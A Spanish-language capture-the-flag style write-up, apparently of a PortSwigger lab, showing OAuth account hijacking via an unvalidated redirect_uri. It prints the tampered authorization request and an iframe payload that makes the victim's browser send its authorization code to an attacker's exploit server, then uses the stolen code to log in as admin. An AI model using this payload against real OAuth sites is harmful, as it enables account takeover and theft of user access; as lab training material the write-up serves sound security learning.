> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# Secuestro de cuenta OAuth mediante redirect\_uri

### Secuestro de cuenta OAuth mediante Redirect/\_uri

**Objetivo del laboratorio**

Este laboratorio demuestra cómo una mala configuración de la `redirect_uri` parámetro en un flujo OAuth permite a un atacante robar **códigos de autorización** asociados con la cuenta de otro usuario.

**Pero al final :**

* Interceptar un código de autorización OAuth perteneciente a un usuario **admin**
* Usa este código para acceder a su cuenta
* Eliminar usuario **carlos**

**Contexto y condiciones**

* El sitio permite la autenticación a través de un proveedor OAuth (red social).
* Usuario **admin**:
* Abre cualquier enlace del servidor de exploit.
* Ya tiene una sesión activa con el proveedor OAuth.
* IDs proporcionados:
* Cuenta social del atacante: `wiener:peter`

<figure><img src="/files/476faa366bf55e11282be955dc0a8edf1d572a78" alt=""><figcaption></figcaption></figure>

**Análisis del flujo OAuth**

Cuando un usuario se conecta mediante OAuth, la aplicación envía una solicitud similar a:

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

El punto crítico es que **el proveedor OAuth no requiere una validación estricta de `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Validación de la vulnerabilidad**

Al cambiar el `redirect_uri` parámetro a un dominio arbitrario, por ejemplo:

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="/files/a54ab916cf840d22dd2324cda7a51cf9f92cbc65" alt=""><figcaption></figcaption></figure>

se observa el siguiente comportamiento:

* El proveedor OAuth redirige correctamente a este campo
* **OAuth** el código de autorización se incluye en la URL de redirección

Esto confirma que `redirect_uri` es explotable.

**Explotación**

El objetivo ahora es obligar al administrador a iniciar una autenticación OAuth cuyo redireccionamiento apunte al \*\*servidor de exploit\*\* del atacante.

Enlace OAuth malicioso utilizado:

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Este enlace se inserta en una página del servidor de exploit usando un iframe:

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Recuperación del código de autorización**

Cuando el administrador abre la página:

* El flujo OAuth se ejecuta automáticamente
* El proveedor OAuth redirige al servidor de exploit
* Los registros del \*\*servidor de exploit\*\* contienen varios códigos OAuth

El **se usa el último código recibido** por ejemplo:

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="/files/7c6cc4aa9a8818ea91a210b2ba5b455a5ff374e9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/40679f06b5a338d58e21ce2eec0c4f94a09f37c7" alt=""><figcaption></figcaption></figure>

**Resultado**

* El código de autorización es válido
* Se obtiene acceso a la \*\*cuenta de administrador\*\*

<figure><img src="/files/256e9ed61bada7405344e10727aabbf4f9f469ed" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
